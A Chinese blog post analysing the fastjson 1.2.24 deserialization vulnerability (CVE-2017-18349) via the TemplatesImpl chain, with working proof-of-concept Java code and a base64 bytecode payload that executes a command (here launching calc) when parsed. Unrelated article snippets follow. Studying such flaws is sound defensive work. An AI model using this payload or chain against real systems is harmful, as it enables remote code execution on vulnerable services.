fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析
FastJson在<= 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:
- fastjson反序列化时,JSON字符串中的
@type字段,用来表明指定反序列化的目标恶意对象类。 - fastjson反序列化时,字符串时会自动调用恶意对象的构造方法,
set方法,get方法,若这类方法中存在利用点,即可完成漏洞利用。
主要存在两种利用方式:
- JdbcRowSetImpl(JNDI)
- TemplatesImpl(Feature.SupportNonPublicField)
这里分析TemplatesImpl利用链
漏洞复现
首先创建一个maven项目、导入Fastjson1.2.23并自动下载相关依赖

然后写入如下代码至Main.java:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class Main {public static void main(String[] args) {ParserConfig config = new ParserConfig();String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);}
}
POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰,影响漏洞的主要是_bytecodes 和 _outputProperties 两个成员变量。
@type:反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例_bytecodes:继承AbstractTranslet类的恶意类字节码,使用Base64编码。_outputProperties:TemplatesImpl反序列化过程中会调用getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行。_name:调用getTransletInstance时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;_tfactory:defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常;
运行之后直接弹出计算器:

漏洞分析
上面的text里面的_bytecodes的内容是以下内容通过javac编译成字节码文件(.class)再base64编码后的结果:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet {public Test() throws IOException {Runtime.getRuntime().exec("calc");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {}public static void main(String[] args) throws Exception {Test t = new Test();}
}
可以看到,我们通过以上代码直接定义类Test,并在类的构造方法中执行calc的命令;至于为什么要写上述代码的第14-21行,因为Test类是继承AbstractTranslet的,上述代码的两个transform方法都是实现AbstractTranslet接口的抽象方法,因此都是需要的;具体来说的话,第一个transform带有SerializationHandler参数,是为了把XML文档转换为另一种格式,第二个transform带有DTMAxisIterator参数,是为了对XML文档中的节点进行迭代。
**总结:**对于上述代码,应该这么理解:建立Test类,并让其继承AbstractTranslet类,然后通过Test t = new Test();来初始化,这样我就是假装要把xml文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc,所以会弹出计算器。
为什么要继承AbstractTranslet类
https://blog.csdn.net/solitudi/article/details/119082164
Java的ClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例,
defineClass的利用方式
public class TouchFile{public TouchFile() throws Exception {Runtime.getRuntime().exec("calc");}}把它编译成字节码后Base64
之后运行Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "TouchFile", code, 0, code.length); yyds.newInstance();成功弹出了计算器
但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在ClassLoader类中访问,不能被其他包中的类访问:

TransletClassLoader类继承了ClassLoader类

并且在TransletClassLoader类中,defineClass调用了ClassLoader里面的defineClass方法:

然后追踪TransletClassLoader的使用,发现是defineTransletClasses:


再往上追踪defineTransletClasses的使用,发现是getTransletInstance:


到此为止,要么是Private修饰要么就是Protected修饰,需要再往上继续追踪,发现是newTransformer,可以看到此时已经是public了:

因此,利用链如下:
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
基于此,我们可以写出如下POC:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;public class Main {public static class test{}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(test.class.getName());String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";cc.makeClassInitializer().insertBefore(cmd);String randomClassName = "test" + System.nanoTime();cc.setName(randomClassName);cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));try {byte[] evilCode = cc.toBytecode();String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";ParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);} catch (Exception e) {e.printStackTrace();}}
}
解释一下这段POC:首先,代码导入了一些类,包括com.alibaba.fastjson.JSON和com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,还有javassist库的一些类。在Main类中定义了一个内部静态类test,没有任何具体实现。在main方法中,代码创建了一个ClassPool对象,它是Javassist库的一部分,用于管理类的池。然后使用pool.get(test.class.getName())获取了test类的CtClass对象。接下来,代码构造了一个字符串变量cmd,内容是要执行的命令,这里是java.lang.Runtime.getRuntime().exec("calc");,即执行计算器程序。然后,通过cc.makeClassInitializer().insertBefore(cmd)在test类中插入了一个类初始化器,该类初始化器会在类初始化时执行指定的命令。接下来,代码生成一个随机的类名,并使用cc.setName(randomClassName)将test类的名称修改为随机生成的类名。然后,通过cc.setSuperclass(pool.get(AbstractTranslet.class.getName()))设置test类的父类为AbstractTranslet类,这是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的一个实现。最后,代码使用Fastjson库解析一个JSON字符串text1,并尝试将其转换为Java对象。这里使用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为目标类型。在解析过程中,Fastjson库的Feature.SupportNonPublicField特性被启用,以支持解析非公共字段。

对于JSON字符串text1
String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'test',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";
@type:反序列化的恶意目标类型TemplatesImpl,FastJson最终会按照这个类反序列化得到实例_bytecodes:继承AbstractTranslet类的恶意类字节码,使用Base64编码。最终这个类会被加载并使用newInstance()实例化_outputProperties:TemplatesImpl反序列化过程中会调用getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行。_name:调用getTransletInstance时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程;_tfactory:defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常
为什么这么构造呢?还是直接看defineTransletClasses这里:

可以看到,逻辑是这样的:先判断_bytecodes是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader去加载_bytecodes中的byte[],并对类的父类进行判断,如果是ABSTRACT_TRANSLET也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那么就把类成员属性的_transletIndex设置成当前循环中的标记位,第一次调用的话,就是class[0]。

可以看到,这里的_bytecodes和_outputProperties都是类成员变量。同时,_outputProperties有自己的getter方法,也就是getOutputProperties。
在Fastjson库的反序列化过程中,当遇到TemplatesImpl类的实例时,Fastjson会尝试调用getOutputProperties()方法来获取输出属性。
这是由于Fastjson库在解析过程中会调用目标类的一些方法,以了解对象的结构和属性。而
TemplatesImpl类中的getOutputProperties()方法是Java API规定的方法之一,Fastjson会默认调用它。

而getOutputProperties()方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()
Java的ClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的实例
参考
https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw
https://xz.aliyun.com/t/7846
相关文章:
fastjson1.2.24 反序列化漏洞(CVE-2017-18349)分析
FastJson在< 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性: fastjson反序列化时,JSON字符串中的type字段,用来表明指定反序列化的目标恶意对象类。fastjson反序列化时,字符串时会自动调用恶意对…...
Linux中history使用(过滤,显示时间,查找)
显示历史命令 history 显示最后几条执行命令 history 5 显示history记录中命令执行时间 export HISTTIMEFORMAT"%F %T " 显示命令中有某些内容的最后几条执行命令 history | grep key | tail -n 2...
issue阶段的选择电路的实现
1-of-M的仲裁电路 为什么要实现oldest-first 功能的仲裁呢? 这是考虑到越是旧的指令,和它存在相关性的指令也就越多,因此优先执行最旧的指令,则可以唤醒更多的指令,能够有效地提高处理器执行指令的并行度,而且最旧的指…...
BearPi Std 板从入门到放弃 - 后天篇(3)(ESP8266透传点灯)
简介 电脑搭建一个TCP Server, ESP8266 串口设置好透传模式, 再由TCP Server发送指令控制灯的亮灭; 开灯指令: led_on回车 ; 关灯指令: led_off回车 主芯片: STM32L431RCT6 LED : PC13 \ 推挽输出即可 \ 高电平点亮 串口: Usart1 / LPUART E…...
【Linux】macOS下使用scp命令编写脚本上传文件至服务器
使用时需要输入服务器密码 #!/bin/bash# 检查传递给脚本的参数数量 if [ "$#" -ne 2 ]; thenecho "Usage: $0 <本地文件路径> <服务器文件夹路径>"exit 1 fi# 接收命令行参数 local_file"$1" remote_path"$2"# 定义远程服…...
难以置信:WINDOWS11真的取消了助记符
助记符是个好东西,记住了非常的方便。这几天升级到WINDOWS11之后,发现助记符被全面取消!真是难以置信! 现在WIN11越来越象MAC,MAC好用吗?当然不好用。 其实WIN11完全可以开发两套界面,各取所需。…...
使用VSC从零开始Vue.js——备赛笔记——2024全国职业院校技能大赛“大数据应用开发”赛项——任务3:数据可视化
使用Visual Studio Code(VSC)进行Vue开发非常方便,下面是一些基本步骤: 一、下载和安装Vue 官网下载地址Download | Node.js Vue.js是基于Node.js的,所以首先需要安装Node.js,官网下载地址:No…...
企业直聘招聘人才求职系统招聘会小程序系统源码
技术栈: 端 原生小程序开发 后端php7.2 数据库mysql5.6 主要功能: 企业入住 ,企业直聘 个人实名认证,人才求职 发布线上招聘会 企业招聘邀请 个人简历置顶 刷新 浏览足迹浏览 附近 招聘信息查看...
大型语言模型:SBERT — Sentence-BERT
slavahead 一、介绍 Transformer 在 NLP 方面取得了进化进步,这已经不是什么秘密了。基于转换器,许多其他机器学习模型已经发展起来。其中之一是BERT,它主要由几个堆叠的变压器编码器组成。除了用于情感分析或问答等一系列不同的问题外&#…...
高效编写软件测试报告的关键技巧
引言: 软件测试报告是测试团队与开发团队之间沟通的重要工具,它记录了测试过程中的发现、问题和建议。一个清晰、准确、高效的软件测试报告可以帮助开发团队更好地理解测试结果,并及时修复问题。本文将介绍一些高效编写软件测试报告的关键技巧…...
编写CI/CD自动化部署脚本
编写CI/CD自动化部署脚本 什么是CI/CD CI/CD 是现代软件开发过程中的关键实践,它包含两个缩写: CI,或者持续集成(Continuous Integration)CD,可以指持续交付(Continuous Delivery)…...
Pandas实践_分类数据
文章目录 一、cat对象1.cat对象的属性2.类别的增加、删除和修改 二、有序分类1.序的建立2.排序和比较 三、区间类别1.利用cut和qcut进行区间构造2.一般区间的构造3.区间的属性与方法 一、cat对象 1.cat对象的属性 在pandas中提供了category类型,使用户能够处理分类…...
git的使用思维导图
源文件在github主页:study_collection/cpp学习/git at main stu-yzZ/study_collection (github.com)...
Qt 软件界面点击QCombBox控件,造成整个界面移位
Qt 软件界面点击QCombBox控件,造成整个界面移位 最近项目中,遇到了一个问题,在绘制界面的时候,使用了QCombBox控件,在点击QCombBox控件下拉中的item时,会造成整个界面移位的现象。 我重写了下面三个事件函…...
AI Native工程化:百度App AI互动技术实践
作者 | GodStart 导读 随着AI浪潮的兴起,越来越多的应用都在利用大模型重构业务形态,在设计和优化Prompt的过程中,我们发现整个Prompt测评和优化周期非常长,因此,我们提出了一种Prompt生成、评估与迭代的一体化解决方案…...
DDPM推导笔记
各位佬看文章之前,可以先去看看这个视频,并给这位up主点赞投币,这位佬讲解的太好了:大白话AI 1.前置知识的学习 1.1 正态分布特性 (1)正态分布的概率密度函数 f ( x ) 1 2 π σ e − ( x − μ ) …...
【C#/Java】【小白必看】不要只会读写文本文件了!对象序列化助你提高效率
【C#/Java】【小白必看】不要只会读写文本文件了!对象序列化助你提高效率 在编程的世界里,文件的读写操作是我们经常面对的任务之一。 当我们只涉及简单的文本文件时,这个任务似乎并不复杂。但是,当我们处理更为复杂的类对…...
排障启示录-无线终端信号弱
现象:无线终端显示信号弱 信息收集: AP的实际发射功率低。外置天线型AP,天线松动或者没插天线现场环境问题,信号穿透衰减终端接入远端AP终端个体问题 排查步骤: 1、AP的发射功率低 查看AP的射频功率,判…...
gem5 RubyPort: mem_request_port作用与连接 simple-MI_example.py
简介 回答这个问题:RubyPort的口下,一共定义了六个口,分别是mem_request_port,mem_response_port,pio_request_port,pio_response_port,in_ports, interrupt_out_ports,他们分别有什…...
无人机支持的空中无蜂窝大规模MIMO系统中上行链路分布式检测
无人机支持的空中无蜂窝大规模MIMO系统中上行链路分布式检测 无人机支持的空中无蜂窝大规模MIMO系统中上行链路分布式检测介绍题目一. 背景(解决的问题)二. 系统模型信道模型信道系数进行标准化 信道估计 和 数据传输信道估计上行数据传输 三. 具体的流程…...
python打卡day49
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...
JAVA后端开发——多租户
数据隔离是多租户系统中的核心概念,确保一个租户(在这个系统中可能是一个公司或一个独立的客户)的数据对其他租户是不可见的。在 RuoYi 框架(您当前项目所使用的基础框架)中,这通常是通过在数据表中增加一个…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...
LabVIEW双光子成像系统技术
双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制,展现出显著的技术优势: 深层组织穿透能力:适用于活体组织深度成像 高分辨率观测性能:满足微观结构的精细研究需求 低光毒性特点:减少对样本的损伤…...
【FTP】ftp文件传输会丢包吗?批量几百个文件传输,有一些文件没有传输完整,如何解决?
FTP(File Transfer Protocol)本身是一个基于 TCP 的协议,理论上不会丢包。但 FTP 文件传输过程中仍可能出现文件不完整、丢失或损坏的情况,主要原因包括: ✅ 一、FTP传输可能“丢包”或文件不完整的原因 原因描述网络…...
土建施工员考试:建筑施工技术重点知识有哪些?
《管理实务》是土建施工员考试中侧重实操应用与管理能力的科目,核心考查施工组织、质量安全、进度成本等现场管理要点。以下是结合考试大纲与高频考点整理的重点内容,附学习方向和应试技巧: 一、施工组织与进度管理 核心目标: 规…...
基于 HTTP 的单向流式通信协议SSE详解
SSE(Server-Sent Events)详解 🧠 什么是 SSE? SSE(Server-Sent Events) 是 HTML5 标准中定义的一种通信机制,它允许服务器主动将事件推送给客户端(浏览器)。与传统的 H…...
python打卡day47
昨天代码中注意力热图的部分顺移至今天 知识点回顾: 热力图 作业:对比不同卷积层热图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import D…...
板凳-------Mysql cookbook学习 (十--2)
5.12 模式匹配中的大小写问题 mysql> use cookbook Database changed mysql> select a like A, a regexp A; ------------------------------ | a like A | a regexp A | ------------------------------ | 1 | 1 | --------------------------…...


